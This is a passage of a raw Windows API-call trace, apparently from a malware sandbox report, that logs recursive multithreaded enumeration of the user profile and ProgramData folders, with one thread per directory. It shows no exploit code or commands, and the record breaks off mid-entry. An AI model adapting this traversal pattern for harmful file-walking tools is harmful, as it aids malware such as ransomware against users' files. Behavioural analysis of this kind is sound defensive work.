FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0140.992] wcscmp (_String1="Java", _String2=".") returned 1 [0140.992] wcscmp (_String1="Java", _String2="..") returned 1 [0140.992] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x30) returned 0x8da9b8 [0140.992] wcscpy (in: _Dest=0x8da9b8, _Source="C:\\ProgramData\\Sun" | out: _Dest="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0140.992] wcscat (in: _Dest=0x8da9b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\") returned="C:\\ProgramData\\Sun\\" [0140.992] wcscat (in: _Dest=0x8da9b8, _Source="Java" | out: _Dest="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java" [0141.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0141.371] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0141.371] FindClose (in: hFindFile=0x8da450 | out: hFindFile=0x8da450) returned 1 [0141.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905d00) returned 1 [0141.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa60) returned 1 [0141.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 Thread: id = 1664 os_tid = 0x654 [0139.694] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8d9bd0 [0139.694] wcscpy (in: _Dest=0x8d9bd0, _Source="C:\\ProgramData\\Templates" | out: _Dest="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0139.694] wcscat (in: _Dest=0x8d9bd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Templates\\") returned="C:\\ProgramData\\Templates\\" [0139.694] wcscat (in: _Dest=0x8d9bd0, _Source="*" | out: _Dest="C:\\ProgramData\\Templates\\*") returned="C:\\ProgramData\\Templates\\*" [0139.694] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905f68 [0139.694] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Templates\\*", lpFindFileData=0x905f68 | out: lpFindFileData=0x905f68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905f68) returned 1 [0140.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9bd0) returned 1 [0140.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9c90) returned 1 Thread: id = 1665 os_tid = 0x644 [0139.695] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2980 [0139.695] wcscpy (in: _Dest=0x8d2980, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.695] wcscat (in: _Dest=0x8d2980, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.695] wcscat (in: _Dest=0x8d2980, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*" [0139.695] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9061d0 [0139.695] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b50 [0139.696] wcscmp (_String1=".", _String2=".") returned 0 [0139.696] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.696] wcscmp (_String1="..", _String2=".") returned 1 [0139.696] wcscmp (_String1="..", _String2="..") returned 0 [0139.696] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0139.696] wcscmp (_String1="AppData", _String2=".") returned 1 [0139.696] wcscmp (_String1="AppData", _String2="..") returned 1 [0139.696] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4268 [0139.696] wcscpy (in: _Dest=0x8e4268, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.696] wcscat (in: _Dest=0x8e4268, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.696] wcscat (in: _Dest=0x8e4268, _Source="AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0139.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0139.697] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0139.697] wcscmp (_String1="Application Data", _String2=".") returned 1 [0139.697] wcscmp (_String1="Application Data", _String2="..") returned 1 [0139.697] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x908c78 [0139.697] wcscpy (in: _Dest=0x908c78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.697] wcscat (in: _Dest=0x908c78, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.697] wcscat (in: _Dest=0x908c78, _Source="Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" [0139.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x908c78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0139.700] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa39b72c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa39b72c0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0139.700] wcscmp (_String1="Contacts", _String2=".") returned 1 [0139.700] wcscmp (_String1="Contacts", _String2="..") returned 1 [0139.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e42c0 [0139.700] wcscpy (in: _Dest=0x8e42c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.700] wcscat (in: _Dest=0x8e42c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.700] wcscat (in: _Dest=0x8e42c0, _Source="Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0139.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e42c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0139.701] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0139.702] wcscmp (_String1="Cookies", _String2=".") returned 1 [0139.702] wcscmp (_String1="Cookies", _String2="..") returned 1 [0139.702] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4318 [0139.702] wcscpy (in: _Dest=0x8e4318, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.702] wcscat (in: _Dest=0x8e4318, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.702] wcscat (in: _Dest=0x8e4318, _Source="Cookies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" [0139.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0 [0139.703] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa3d6f520, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3d6f520, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0139.703] wcscmp (_String1="Desktop", _String2=".") returned 1 [0139.703] wcscmp (_String1="Desktop", _String2="..") returned 1 [0139.703] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4370 [0139.703] wcscpy (in: _Dest=0x8e4370, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.703] wcscat (in: _Dest=0x8e4370, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.703] wcscat (in: _Dest=0x8e4370, _Source="Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0139.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4 [0139.704] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa06175a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa06175a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0139.704] wcscmp (_String1="Documents", _String2=".") returned 1 [0139.704] wcscmp (_String1="Documents", _String2="..") returned 1 [0139.704] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e43c8 [0139.704] wcscpy (in: _Dest=0x8e43c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.704] wcscat (in: _Dest=0x8e43c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.704] wcscat (in: _Dest=0x8e43c8, _Source="Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0139.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e43c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0139.706] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0139.706] wcscmp (_String1="Downloads", _String2=".") returned 1 [0139.706] wcscmp (_String1="Downloads", _String2="..") returned 1 [0139.706] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4420 [0139.706] wcscpy (in: _Dest=0x8e4420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.706] wcscat (in: _Dest=0x8e4420, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.706] wcscat (in: _Dest=0x8e4420, _Source="Downloads" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" [0139.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0139.707] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0139.707] wcscmp (_String1="Favorites", _String2=".") returned 1 [0139.707] wcscmp (_String1="Favorites", _String2="..") returned 1 [0139.707] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4478 [0139.707] wcscpy (in: _Dest=0x8e4478, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.707] wcscat (in: _Dest=0x8e4478, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.707] wcscat (in: _Dest=0x8e4478, _Source="Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0139.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0139.708] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0139.708] wcscmp (_String1="Links", _String2=".") returned 1 [0139.708] wcscmp (_String1="Links", _String2="..") returned 1 [0139.708] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f93c8 [0139.708] wcscpy (in: _Dest=0x8f93c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.708] wcscat (in: _Dest=0x8f93c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.708] wcscat (in: _Dest=0x8f93c8, _Source="Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" [0139.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f93c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0139.709] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0139.709] wcscmp (_String1="Local Settings", _String2=".") returned 1 [0139.709] wcscmp (_String1="Local Settings", _String2="..") returned 1 [0139.709] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x8f6088 [0139.710] wcscpy (in: _Dest=0x8f6088, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.710] wcscat (in: _Dest=0x8f6088, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.710] wcscat (in: _Dest=0x8f6088, _Source="Local Settings" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0139.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f6088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0139.711] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa3bcc600, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3bcc600, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0139.711] wcscmp (_String1="Music", _String2=".") returned 1 [0139.711] wcscmp (_String1="Music", _String2="..") returned 1 [0139.711] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f9418 [0139.711] wcscpy (in: _Dest=0x8f9418, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.711] wcscat (in: _Dest=0x8f9418, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.711] wcscat (in: _Dest=0x8f9418, _Source="Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0139.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0139.714] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0139.714] wcscmp (_String1="My Documents", _String2=".") returned 1 [0139.714] wcscmp (_String1="My Documents", _String2="..") returned 1 [0139.714] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8feca8 [0139.714] wcscpy (in: _Dest=0x8feca8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.714] wcscat (in: _Dest=0x8feca8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.714] wcscat (in: _Dest=0x8feca8, _Source="My Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" [0139.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8feca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0139.715] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0139.715] wcscmp (_String1="NetHood", _String2=".") returned 1 [0139.715] wcscmp (_String1="NetHood", _String2="..") returned 1 [0139.715] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e44d0 [0139.715] wcscpy (in: _Dest=0x8e44d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.715] wcscat (in: _Dest=0x8e44d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.716] wcscat (in: _Dest=0x8e44d0, _Source="NetHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" [0139.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e44d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0139.717] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, 